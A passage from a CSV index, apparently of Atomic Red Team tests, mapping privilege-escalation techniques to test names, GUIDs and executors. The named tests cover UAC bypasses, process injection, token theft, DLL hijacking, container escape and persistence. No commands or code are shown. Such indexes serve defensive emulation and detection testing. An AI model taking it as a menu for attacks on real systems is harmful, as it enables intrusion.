(PowerShell),a6ce9acf-842a-4af6-8f79-539be7608e2b,powershell +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,3,Bypass UAC using Fodhelper,58f641ea-12e3-499a-b684-44dee46bd182,command_prompt +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,4,Bypass UAC using Fodhelper - PowerShell,3f627297-6c38-4e7d-a278-fc2563eaaeaa,powershell +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,5,Bypass UAC using ComputerDefaults (PowerShell),3c51abf2-44bf-42d8-9111-dc96ff66750f,powershell +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,6,Bypass UAC by Mocking Trusted Directories,f7a35090-6f7f-4f64-bb47-d657bf5b10c1,command_prompt +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,7,Bypass UAC using sdclt DelegateExecute,3be891eb-4608-4173-87e8-78b494c029b7,powershell +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,8,Disable UAC using reg.exe,9e8af564-53ec-407e-aaa8-3cb20c3af7f9,command_prompt +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,9,Bypass UAC using SilentCleanup task,28104f8a-4ff1-4582-bcf6-699dce156608,command_prompt +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,10,UACME Bypass Method 23,8ceab7a2-563a-47d2-b5ba-0995211128d7,command_prompt +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,11,UACME Bypass Method 31,b0f76240-9f33-4d34-90e8-3a7d501beb15,command_prompt +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,12,UACME Bypass Method 33,e514bb03-f71c-4b22-9092-9f961ec6fb03,command_prompt +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,13,UACME Bypass Method 34,695b2dac-423e-448e-b6ef-5b88e93011d6,command_prompt +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,14,UACME Bypass Method 39,56163687-081f-47da-bb9c-7b231c5585cf,command_prompt +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,15,UACME Bypass Method 56,235ec031-cd2d-465d-a7ae-68bab281e80e,command_prompt +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,16,UACME Bypass Method 59,dfb1b667-4bb8-4a63-a85e-29936ea75f29,command_prompt +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,17,UACME Bypass Method 61,7825b576-744c-4555-856d-caf3460dc236,command_prompt +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,18,WinPwn - UAC Magic,964d8bf8-37bc-4fd3-ba36-ad13761ebbcc,powershell +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,19,WinPwn - UAC Bypass ccmstp technique,f3c145f9-3c8d-422c-bd99-296a17a8f567,powershell +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,20,WinPwn - UAC Bypass DiskCleanup technique,1ed67900-66cd-4b09-b546-2a0ef4431a0c,powershell +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,21,WinPwn - UAC Bypass DccwBypassUAC technique,2b61977b-ae2d-4ae4-89cb-5c36c89586be,powershell +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,22,Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key,251c5936-569f-42f4-9ac2-87a173b9e9b8,powershell +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,23,UAC Bypass with WSReset Registry Modification,3b96673f-9c92-40f1-8a3e-ca060846f8d9,powershell +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,24,Disable UAC - Switch to the secure desktop when prompting for elevation via registry key,85f3a526-4cfa-4fe7-98c1-dea99be025c7,powershell +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,25,Disable UAC notification via registry keys,160a7c77-b00e-4111-9e45-7c2a44eda3fd,command_prompt +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,26,Disable ConsentPromptBehaviorAdmin via registry keys,a768aaa2-2442-475c-8990-69cf33af0f4e,command_prompt +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,27,UAC bypassed by Utilizing ProgIDs registry.,b6f4645c-34ea-4c7c-98f2-d5a2747efb08,command_prompt +privilege-escalation,T1548.003,Abuse Elevation Control Mechanism: Sudo and Sudo Caching,1,Sudo usage,150c3a08-ee6e-48a6-aeaf-3659d24ceb4e,sh +privilege-escalation,T1548.003,Abuse Elevation Control Mechanism: Sudo and Sudo Caching,2,Sudo usage (freebsd),2bf9a018-4664-438a-b435-cc6f8c6f71b1,sh +privilege-escalation,T1548.003,Abuse Elevation Control Mechanism: Sudo and Sudo Caching,3,Unlimited sudo cache timeout,a7b17659-dd5e-46f7-b7d1-e6792c91d0bc,sh +privilege-escalation,T1548.003,Abuse Elevation Control Mechanism: Sudo and Sudo Caching,4,Unlimited sudo cache timeout (freebsd),a83ad6e8-6f24-4d7f-8f44-75f8ab742991,sh +privilege-escalation,T1548.003,Abuse Elevation Control Mechanism: Sudo and Sudo Caching,5,Disable tty_tickets for sudo caching,91a60b03-fb75-4d24-a42e-2eb8956e8de1,sh +privilege-escalation,T1548.003,Abuse Elevation Control Mechanism: Sudo and Sudo Caching,6,Disable tty_tickets for sudo caching (freebsd),4df6a0fe-2bdd-4be8-8618-a6a19654a57a,sh +privilege-escalation,T1574.011,Hijack Execution Flow: Services Registry Permissions Weakness,1,Service Registry Permissions Weakness,f7536d63-7fd4-466f-89da-7e48d550752a,powershell +privilege-escalation,T1574.011,Hijack Execution Flow: Services Registry Permissions Weakness,2,Service ImagePath Change with reg.exe,f38e9eea-e1d7-4ba6-b716-584791963827,command_prompt +privilege-escalation,T1547,Boot or Logon Autostart Execution,1,Add a driver,cb01b3da-b0e7-4e24-bf6d-de5223526785,command_prompt +privilege-escalation,T1547,Boot or Logon Autostart Execution,2,Driver Installation Using pnputil.exe,5cb0b071-8a5a-412f-839d-116beb2ed9f7,powershell +privilege-escalation,T1547,Boot or Logon Autostart Execution,3,Leverage Virtual Channels to execute custom DLL during successful RDP session,fdd45306-74f6-4ade-9a97-0a4895961228,command_prompt +privilege-escalation,T1547.014,Active Setup,1,HKLM - Add atomic_test key to launch executable as part of user setup,deff4586-0517-49c2-981d-bbea24d48d71,powershell +privilege-escalation,T1547.014,Active Setup,2,HKLM - Add malicious StubPath value to existing Active Setup Entry,39e417dd-4fed-4d9c-ae3a-ba433b4d0e9a,powershell +privilege-escalation,T1547.014,Active Setup,3,HKLM - re-execute 'Internet Explorer Core Fonts' StubPath payload by decreasing version number,04d55cef-f283-40ba-ae2a-316bc3b5e78c,powershell +privilege-escalation,T1484.002,Domain Trust Modification,1,Add Federation to Azure AD,8906c5d0-3ee5-4f63-897a-f6cafd3fdbb7,powershell +privilege-escalation,T1543.003,Create or Modify System Process: Windows Service,1,Modify Fax service to run PowerShell,ed366cde-7d12-49df-a833-671904770b9f,command_prompt +privilege-escalation,T1543.003,Create or Modify System Process: Windows Service,2,Service Installation CMD,981e2942-e433-44e9-afc1-8c957a1496b6,command_prompt +privilege-escalation,T1543.003,Create or Modify System Process: Windows Service,3,Service Installation PowerShell,491a4af6-a521-4b74-b23b-f7b3f1ee9e77,powershell +privilege-escalation,T1543.003,Create or Modify System Process: Windows Service,4,TinyTurla backdoor service w64time,ef0581fd-528e-4662-87bc-4c2affb86940,command_prompt +privilege-escalation,T1543.003,Create or Modify System Process: Windows Service,5,Remote Service Installation CMD,fb4151a2-db33-4f8c-b7f8-78ea8790f961,command_prompt +privilege-escalation,T1543.003,Create or Modify System Process: Windows Service,6,Modify Service to Run Arbitrary Binary (Powershell),1f896ce4-8070-4959-8a25-2658856a70c9,powershell +privilege-escalation,T1053.003,Scheduled Task/Job: Cron,1,Cron - Replace crontab with referenced file,435057fb-74b1-410e-9403-d81baf194f75,sh +privilege-escalation,T1053.003,Scheduled Task/Job: Cron,2,Cron - Add script to all cron subfolders,b7d42afa-9086-4c8a-b7b0-8ea3faa6ebb0,bash +privilege-escalation,T1053.003,Scheduled Task/Job: Cron,3,Cron - Add script to /etc/cron.d folder,078e69eb-d9fb-450e-b9d0-2e118217c846,sh +privilege-escalation,T1053.003,Scheduled Task/Job: Cron,4,Cron - Add script to /var/spool/cron/crontabs/ folder,2d943c18-e74a-44bf-936f-25ade6cccab4,bash +privilege-escalation,T1098.003,Account Manipulation: Additional Cloud Roles,1,Azure AD - Add Company Administrator Role to a user,4d77f913-56f5-4a14-b4b1-bf7bb24298ad,powershell +privilege-escalation,T1098.003,Account Manipulation: Additional Cloud Roles,2,Simulate - Post BEC persistence via user password reset followed by user added to company administrator role,14f3af20-61f1-45b8-ad31-4637815f3f44,powershell +privilege-escalation,T1547.012,Boot or Logon Autostart Execution: Print Processors,1,Print Processors,f7d38f47-c61b-47cc-a59d-fc0368f47ed0,powershell +privilege-escalation,T1574.001,Hijack Execution Flow: DLL,1,DLL Search Order Hijacking - amsi.dll,8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3,command_prompt +privilege-escalation,T1574.001,Hijack Execution Flow: DLL,2,Phantom Dll Hijacking - WinAppXRT.dll,46ed938b-c617-429a-88dc-d49b5c9ffedb,command_prompt +privilege-escalation,T1574.001,Hijack Execution Flow: DLL,3,Phantom Dll Hijacking - ualapi.dll,5898902d-c5ad-479a-8545-6f5ab3cfc87f,command_prompt +privilege-escalation,T1574.001,Hijack Execution Flow: DLL,4,DLL Side-Loading using the Notepad++ GUP.exe binary,65526037-7079-44a9-bda1-2cb624838040,command_prompt +privilege-escalation,T1574.001,Hijack Execution Flow: DLL,5,DLL Side-Loading using the dotnet startup hook environment variable,d322cdd7-7d60-46e3-9111-648848da7c02,command_prompt +privilege-escalation,T1574.001,Hijack Execution Flow: DLL,6,"DLL Search Order Hijacking,DLL Sideloading Of KeyScramblerIE.DLL Via KeyScrambler.EXE",c095ad8e-4469-4d33-be9d-6f6d1fb21585,powershell +privilege-escalation,T1055.003,Thread Execution Hijacking,1,Thread Execution Hijacking,578025d5-faa9-4f6d-8390-aae527d503e1,powershell +privilege-escalation,T1546.011,Event Triggered Execution: Application Shimming,1,Application Shim Installation,9ab27e22-ee62-4211-962b-d36d9a0e6a18,command_prompt +privilege-escalation,T1546.011,Event Triggered Execution: Application Shimming,2,New shim database files created in the default shim database directory,aefd6866-d753-431f-a7a4-215ca7e3f13d,powershell +privilege-escalation,T1546.011,Event Triggered Execution: Application Shimming,3,Registry key creation and/or modification events for SDB,9b6a06f9-ab5e-4e8d-8289-1df4289db02f,powershell +privilege-escalation,T1547.010,Boot or Logon Autostart Execution: Port Monitors,1,Add Port Monitor persistence in Registry,d34ef297-f178-4462-871e-9ce618d44e50,command_prompt +privilege-escalation,T1037.002,Boot or Logon Initialization Scripts: Logon Script (Mac),1,Logon Scripts - Mac,f047c7de-a2d9-406e-a62b-12a09d9516f4,manual +privilege-escalation,T1055,Process Injection,1,Shellcode execution via VBA,1c91e740-1729-4329-b779-feba6e71d048,powershell +privilege-escalation,T1055,Process Injection,2,Remote Process Injection in LSASS via mimikatz,3203ad24-168e-4bec-be36-f79b13ef8a83,command_prompt +privilege-escalation,T1055,Process Injection,3,Section View Injection,c6952f41-6cf0-450a-b352-2ca8dae7c178,powershell +privilege-escalation,T1055,Process Injection,4,Dirty Vanity process Injection,49543237-25db-497b-90df-d0a0a6e8fe2c,powershell +privilege-escalation,T1055,Process Injection,5,Read-Write-Execute process Injection,0128e48e-8c1a-433a-a11a-a5387384f1e1,powershell +privilege-escalation,T1055,Process Injection,6,Process Injection with Go using UuidFromStringA WinAPI,2315ce15-38b6-46ac-a3eb-5e21abef2545,powershell +privilege-escalation,T1055,Process Injection,7,Process Injection with Go using EtwpCreateEtwThread WinAPI,7362ecef-6461-402e-8716-7410e1566400,powershell +privilege-escalation,T1055,Process Injection,8,Remote Process Injection with Go using RtlCreateUserThread WinAPI,a0c1725f-abcd-40d6-baac-020f3cf94ecd,powershell +privilege-escalation,T1055,Process Injection,9,Remote Process Injection with Go using CreateRemoteThread WinAPI,69534efc-d5f5-4550-89e6-12c6457b9edd,powershell +privilege-escalation,T1055,Process Injection,10,Remote Process Injection with Go using CreateRemoteThread WinAPI (Natively),2a4ab5c1-97ad-4d6d-b5d3-13f3a6c94e39,powershell +privilege-escalation,T1055,Process Injection,11,Process Injection with Go using CreateThread WinAPI,2871ed59-3837-4a52-9107-99500ebc87cb,powershell +privilege-escalation,T1055,Process Injection,12,Process Injection with Go using CreateThread WinAPI (Natively),2a3c7035-d14f-467a-af94-933e49fe6786,powershell +privilege-escalation,T1055,Process Injection,13,UUID custom process Injection,0128e48e-8c1a-433a-a11a-a5304734f1e1,powershell +privilege-escalation,T1611,Escape to Host,1,Deploy container using nsenter container escape,0b2f9520-a17a-4671-9dba-3bd034099fff,sh +privilege-escalation,T1611,Escape to Host,2,Mount host filesystem to escape privileged Docker container,6c499943-b098-4bc6-8d38-0956fc182984,sh +privilege-escalation,T1611,Escape to Host,3,Privilege Escalation via Docker Volume Mapping,39fab1bc-fcb9-406f-bc2e-fe03e42ff0e4,sh +privilege-escalation,T1547.009,Boot or Logon Autostart Execution: Shortcut Modification,1,Shortcut Modification,ce4fc678-364f-4282-af16-2fb4c78005ce,command_prompt +privilege-escalation,T1547.009,Boot or Logon Autostart Execution: Shortcut Modification,2,Create shortcut to cmd in startup folders,cfdc954d-4bb0-4027-875b-a1893ce406f2,powershell +privilege-escalation,T1547.005,Boot or Logon Autostart Execution: Security Support Provider,1,Modify HKLM:\System\CurrentControlSet\Control\Lsa Security Support Provider configuration in registry,afdfd7e3-8a0b-409f-85f7-886fdf249c9e,powershell +privilege-escalation,T1547.005,Boot or Logon Autostart Execution: Security Support Provider,2,Modify HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig Security Support Provider configuration in registry,de3f8e74-3351-4fdb-a442-265dbf231738,powershell +privilege-escalation,T1543.004,Create or Modify System Process: Launch Daemon,1,Launch Daemon,03ab8df5-3a6b-4417-b6bd-bb7a5cfd74cf,bash +privilege-escalation,T1574.008,Hijack Execution Flow: Path Interception by Search Order Hijacking,1,powerShell Persistence via hijacking default modules - Get-Variable.exe,1561de08-0b4b-498e-8261-e922f3494aae,powershell +privilege-escalation,T1484.001,Domain Policy Modification: Group Policy Modification,1,LockBit Black - Modify Group policy settings -cmd,9ab80952-74ee-43da-a98c-1e740a985f28,command_prompt +privilege-escalation,T1484.001,Domain Policy Modification: Group Policy Modification,2,LockBit Black - Modify Group policy settings -Powershell,b51eae65-5441-4789-b8e8-64783c26c1d1,powershell +privilege-escalation,T1078.001,Valid Accounts: Default Accounts,1,Enable Guest account with RDP capability and admin privileges,99747561-ed8d-47f2-9c91-1e5fde1ed6e0,command_prompt +privilege-escalation,T1078.001,Valid Accounts: Default Accounts,2,Activate Guest Account,aa6cb8c4-b582-4f8e-b677-37733914abda,command_prompt +privilege-escalation,T1078.001,Valid Accounts: Default Accounts,3,Enable Guest Account on macOS,0315bdff-4178-47e9-81e4-f31a6d23f7e4,sh +privilege-escalation,T1547.003,Time Providers,1,Create a new time provider,df1efab7-bc6d-4b88-8be9-91f55ae017aa,powershell +privilege-escalation,T1547.003,Time Providers,2,Edit an existing time provider,29e0afca-8d1d-471a-8d34-25512fc48315,powershell +privilege-escalation,T1546.005,Event Triggered Execution: Trap,1,Trap EXIT,a74b2e07-5952-4c03-8b56-56274b076b61,sh +privilege-escalation,T1546.005,Event Triggered Execution: Trap,2,Trap EXIT (freebsd),be1a5d70-6865-44aa-ab50-42244c9fd16f,sh +privilege-escalation,T1546.005,Event Triggered Execution: Trap,3,Trap SIGINT,a547d1ba-1d7a-4cc5-a9cb-8d65e8809636,sh +privilege-escalation,T1546.005,Event Triggered Execution: Trap,4,Trap SIGINT (freebsd),ade10242-1eac-43df-8412-be0d4c704ada,sh +privilege-escalation,T1574.006,Hijack Execution Flow: LD_PRELOAD,1,Shared Library Injection via /etc/ld.so.preload,39cb0e67-dd0d-4b74-a74b-c072db7ae991,bash +privilege-escalation,T1574.006,Hijack Execution Flow: LD_PRELOAD,2,Shared Library Injection via LD_PRELOAD,bc219ff7-789f-4d51-9142-ecae3397deae,bash +privilege-escalation,T1574.006,Hijack Execution Flow: LD_PRELOAD,3,Dylib Injection via DYLD_INSERT_LIBRARIES,4d66029d-7355-43fd-93a4-b63ba92ea1be,bash +privilege-escalation,T1134.002,Create Process with Token,1,Access Token Manipulation,dbf4f5a9-b8e0-46a3-9841-9ad71247239e,powershell +privilege-escalation,T1134.002,Create Process with Token,2,WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique,ccf4ac39-ec93-42be-9035-90e2f26bcd92,powershell +privilege-escalation,T1548.001,Abuse Elevation Control Mechanism: Setuid and Setgid,1,Make and modify binary from C source,896dfe97-ae43-4101-8e96-9a7996555d80,sh +privilege-escalation,T1548.001,Abuse Elevation Control Mechanism: Setuid and Setgid,2,Make and modify binary from C source (freebsd),dd580455-d84b-481b-b8b0-ac96f3b1dc4c,sh +privilege-escalation,T1548.001,Abuse Elevation Control Mechanism: Setuid and Setgid,3,Set a SetUID flag on file,759055b3-3885-4582-a8ec-c00c9d64dd79,sh +privilege-escalation,T1548.001,Abuse Elevation Control Mechanism: Setuid and Setgid,4,Set a SetUID flag on file (freebsd),9be9b827-ff47-4e1b-bef8-217db6fb7283,sh +privilege-escalation,T1548.001,Abuse Elevation Control Mechanism: Setuid and Setgid,5,Set a SetGID flag on file,db55f666-7cba-46c6-9fe6-205a05c3242c,sh +privilege-escalation,T1548.001,Abuse Elevation Control Mechanism: Setuid and Setgid,6,Set a SetGID flag on file (freebsd),1f73af33-62a8-4bf1-bd10-3bea931f2c0d,sh +privilege-escalation,T1548.001,Abuse Elevation Control Mechanism: Setuid and Setgid,7,Make and modify capabilities of a binary,db53959c-207d-4000-9e7a-cd8eb417e072,sh +privilege-escalation,T1548.001,Abuse Elevation Control Mechanism: Setuid and Setgid,8,Provide the SetUID capability to a file,1ac3272f-9bcf-443a-9888-4b1d3de785c1,sh +privilege-escalation,T1548.001,Abuse Elevation Control Mechanism: Setuid and Setgid,9,Do reconnaissance for files that have the setuid bit set,8e36da01-cd29-45fd-be72-8a0fcaad4481,sh +privilege-escalation,T1548.001,Abuse Elevation Control Mechanism: Setuid and Setgid,10,Do reconnaissance for files that have the setgid bit set,3fb46e17-f337-4c14-9f9a-a471946533e2,sh +privilege-escalation,T1547.004,Boot or Logon Autostart Execution: Winlogon Helper DLL,1,Winlogon Shell Key Persistence - PowerShell,bf9f9d65-ee4d-4c3e-a843-777d04f19c38,powershell +privilege-escalation,T1547.004,Boot or Logon Autostart Execution: Winlogon Helper DLL,2,Winlogon Userinit Key Persistence - PowerShell,fb32c935-ee2e-454b-8fa3-1c46b42e8dfb,powershell +privilege-escalation,T1547.004,Boot or Logon Autostart Execution: Winlogon Helper DLL,3,Winlogon Notify Key Logon Persistence - PowerShell,d40da266-e073-4e5a-bb8b-2b385023e5f9,powershell +privilege-escalation,T1547.004,Boot or Logon Autostart Execution: Winlogon Helper DLL,4,Winlogon HKLM Shell Key Persistence - PowerShell,95a3c42f-8c88-4952-ad60-13b81d929a9d,powershell +privilege-escalation,T1547.004,Boot or Logon Autostart Execution: Winlogon Helper DLL,5,Winlogon HKLM Userinit Key Persistence - PowerShell,f9b8daff-8fa7-4e6a-a1a7-7c14675a545b,powershell +privilege-escalation,T1098.004,SSH Authorized Keys,1,Modify SSH Authorized Keys,342cc723-127c-4d3a-8292-9c0c6b4ecadc,sh +privilege-escalation,T1546.012,Event Triggered Execution: Image File Execution Options Injection,1,IFEO Add Debugger,fdda2626-5234-4c90-b163-60849a24c0b8,command_prompt +privilege-escalation,T1546.012,Event Triggered Execution: Image File Execution Options Injection,2,IFEO Global Flags,46b1f278-c8ee-4aa5-acce-65e77b11f3c1,command_prompt +privilege-escalation,T1546.012,Event Triggered Execution: Image File Execution Options Injection,3,GlobalFlags in Image File Execution Options,13117939-c9b2-4a43-999e-0a543df92f0d,powershell +privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features,1,Attaches Command Prompt as a Debugger to a List of Target Processes,3309f53e-b22b-4eb6-8fd2-a6cf58b355a9,powershell +privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features,2,Replace binary of sticky keys,934e90cf-29ca-48b3-863c-411737ad44e3,command_prompt +privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features,3,Create Symbolic Link From osk.exe to cmd.exe,51ef369c-5e87-4f33-88cd-6d61be63edf2,command_prompt +privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features,4,Atbroker.exe (AT) Executes Arbitrary Command via Registry Key,444ff124-4c83-4e28-8df6-6efd3ece6bd4,command_prompt +privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features,5,Auto-start application on user logon,7125eba8-7b30-426b-9147-781d152be6fb,command_prompt +privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features,6,Replace utilman.exe (Ease of Access Binary) with cmd.exe,1db380da-3422-481d-a3c8-6d5770dba580,command_prompt +privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features,7,Replace Magnify.exe (Magnifier binary) with cmd.exe,5e4fa70d-c789-470e-85e1-6992b92bb321,command_prompt +privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features,8,Replace Narrator.exe (Narrator binary) with cmd.exe,2002f5ea-cd13-4c82-bf73-e46722e5dc5e,command_prompt +privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features,9,Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe,825ba8ca-71cc-436b-b1dd-ea0d5e109086,command_prompt +privilege-escalation,T1546.008,Event Triggered Execution: Accessibility Features,10,Replace AtBroker.exe (App Switcher binary) with cmd.exe,210be7ea-d841-40ec-b3e1-ff610bb62744,command_prompt +privilege-escalation,T1055.004,Process Injection: Asynchronous Procedure Call,1,Process Injection via C#,611b39b7-e243-4c81-87a4-7145a90358b1,command_prompt +privilege-escalation,T1055.004,Process Injection: Asynchronous Procedure Call,2,EarlyBird APC Queue Injection in Go,73785dd2-323b-4205-ab16-bb6f06677e14,powershell +privilege-escalation,T1055.004,Process Injection: Asynchronous Procedure Call,3,Remote Process Injection with Go using NtQueueApcThreadEx WinAPI,4cc571b1-f450-414a-850f-879baf36aa06,powershell +privilege-escalation,T1546.009,Event Triggered Execution: AppCert DLLs,1,Create registry persistence via AppCert DLL,a5ad6104-5bab-4c43-b295-b4c44c7c6b05,powershell +privilege-escalation,T1055.002,Process Injection: Portable Executable Injection,1,Portable Executable Injection,578025d5-faa9-4f6d-8390-aae739d503e1,powershell +privilege-escalation,T1547.015,Boot or Logon Autostart Execution: Login Items,1,Persistence by modifying Windows Terminal profile,ec5d76ef-82fe-48da-b931-bdb25a62bc65,powershell +privilege-escalation,T1547.015,Boot or Logon Autostart Execution: Login Items,2,Add macOS LoginItem using Applescript,716e756a-607b-41f3-8204-b214baf37c1d,bash +privilege-escalation,T1134.001,Access Token Manipulation: Token Impersonation/Theft,1,Named pipe client impersonation,90db9e27-8e7c-4c04-b602-a45927884966,powershell +privilege-escalation,T1134.001,Access Token Manipulation: Token Impersonation/Theft,2,`SeDebugPrivilege` token duplication,34f0a430-9d04-4d98-bcb5-1989f14719f0,powershell +privilege-escalation,T1134.001,Access Token Manipulation: Token Impersonation/Theft,3,Launch NSudo Executable,7be1bc0f-d8e5-4345-9333-f5f67d742cb9,powershell +privilege-escalation,T1134.001,Access Token Manipulation: Token Impersonation/Theft,4,Bad Potato,9c6d799b-c111-4749-a42f-ec2f8cb51448,powershell +privilege-escalation,T1134.001,Access Token Manipulation: Token Impersonation/Theft,5,Juicy Potato,f095e373-b936-4eb4-8d22-f47ccbfbe64a,powershell +privilege-escalation,T1098.001,Account Manipulation: Additional Cloud Credentials,1,Azure AD Application Hijacking - Service Principal,b8e747c3-bdf7-4d71-bce2-f1df2a057406,powershell +privilege-escalation,T1098.001,Account Manipulation: Additional Cloud Credentials,2,Azure AD Application Hijacking - App Registration,a12b5531-acab-4618-a470-0dafb294a87a,powershell +privilege-escalation,T1098.001,Account Manipulation: Additional Cloud Credentials,3,AWS - Create Access Key and Secret Key,8822c3b0-d9f9-4daf-a043-491160a31122,sh +privilege-escalation,T1546.003,Event Triggered Execution: Windows Management Instrumentation Event Subscription,1,Persistence via WMI Event Subscription - CommandLineEventConsumer,3c64f177-28e2-49eb-a799-d767b24dd1e0,powershell +privilege-escalation,T1546.003,Event Triggered Execution: Windows Management Instrumentation Event Subscription,2,Persistence via WMI Event Subscription - ActiveScriptEventConsumer,fecd0dfd-fb55-45fa-a10b-6250272d0832,powershell +privilege-escalation,T1546.003,Event Triggered Execution: Windows Management Instrumentation Event Subscription,3,Windows MOFComp.exe Load MOF File,29786d7e-8916-4de6-9c55-be7b093b2706,powershell +privilege-escalation,T1134.004,Access Token Manipulation: Parent PID Spoofing,1,Parent PID Spoofing using PowerShell,069258f4-2162-46e9-9a25-c9c6c56150d2,powershell +privilege-escalation,T1134.004,Access Token Manipulation: Parent PID Spoofing,2,Parent PID Spoofing - Spawn from Current Process,14920ebd-1d61-491a-85e0-fe98efe37f25,powershell +privilege-escalation,T1134.004,Access Token Manipulation: Parent PID Spoofing,3,Parent PID Spoofing - Spawn from Specified Process,cbbff285-9051-444a-9d17-c07cd2d230eb,powershell +privilege-escalation,T1134.004,Access Token Manipulation: Parent PID Spoofing,4,Parent PID Spoofing - Spawn from svchost.exe,e9f2b777-3123-430b-805d-5cedc66ab591,powershell +privilege-escalation,T1134.004,Access Token Manipulation: Parent PID Spoofing,5,Parent PID Spoofing - Spawn from New Process,2988133e-561c-4e42-a15f-6281e6a9b2db,powershell +privilege-escalation,T1546.001,Event Triggered Execution: Change Default File Association,1,Change Default File Association,10a08978-2045-4d62-8c42-1957bbbea102,command_prompt +privilege-escalation,T1546.014,Event Triggered Execution: Emond,1,Persistance with Event Monitor - emond,23c9c127-322b-4c75-95ca-eff464906114,sh +privilege-escalation,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,1,Reg Key Run,e55be3fd-3521-4610-9d1a-e210e42dcf05,command_prompt +privilege-escalation,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,2,Reg Key RunOnce,554cbd88-cde1-4b56-8168-0be552eed9eb,command_prompt +privilege-escalation,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,3,PowerShell Registry RunOnce,eb44f842-0457-4ddc-9b92-c4caa144ac42,powershell +privilege-escalation,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,4,Suspicious vbs file run from startup Folder,2cb98256-625e-4da9-9d44-f2e5f90b8bd5,powershell +privilege-escalation,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,5,Suspicious jse file run from startup Folder,dade9447-791e-4c8f-b04b-3a35855dfa06,powershell +privilege-escalation,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,6,Suspicious bat file run from startup Folder,5b6768e4-44d2-44f0-89da-a01d1430fd5e,powershell +privilege-escalation,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,7,Add Executable Shortcut Link to User Startup Folder,24e55612-85f6-4bd6-ae74-a73d02e3441d,powershell +privilege-escalation,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,8,Add persistance via Recycle bin,bda6a3d6-7aa7-4e89-908b-306772e9662f,command_prompt +privilege-escalation,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,9,SystemBC Malware-as-a-Service Registry,9dc7767b-30c1-4cc4-b999-50cab5e27891,powershell +privilege-escalation,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,10,Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value,acfef903-7662-447e-a391-9c91c2f00f7b,powershell +privilege-escalation,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,11,Change Startup Folder - HKCU Modify User Shell Folders Startup Value,8834b65a-f808-4ece-ad7e-2acdf647aafa,powershell +privilege-escalation,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,12,HKCU - Policy Settings Explorer Run Key,a70faea1-e206-4f6f-8d9a-67379be8f6f1,powershell +privilege-escalation,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,13,HKLM - Policy Settings Explorer Run Key,b5c9a9bc-dda3-4ea0-b16a-add8e81ab75f,powershell +privilege-escalation,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,14,HKLM - Append Command to Winlogon Userinit KEY Value,f7fab6cc-8ece-4ca7-a0f1-30a22fccd374,powershell +privilege-escalation,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,15,HKLM - Modify default System Shell - Winlogon Shell KEY Value ,1d958c61-09c6-4d9e-b26b-4130314e520e,powershell +privilege-escalation,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,16,secedit used to create a Run key in the HKLM Hive,14fdc3f1-6fc3-4556-8d36-aa89d9d42d02,command_prompt +privilege-escalation,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,17,Modify BootExecute Value,befc2b40-d487-4a5a-8813-c11085fb5672,powershell +privilege-escalation,T1547.001,Boot or Logon Autostart Execution: Registry Run 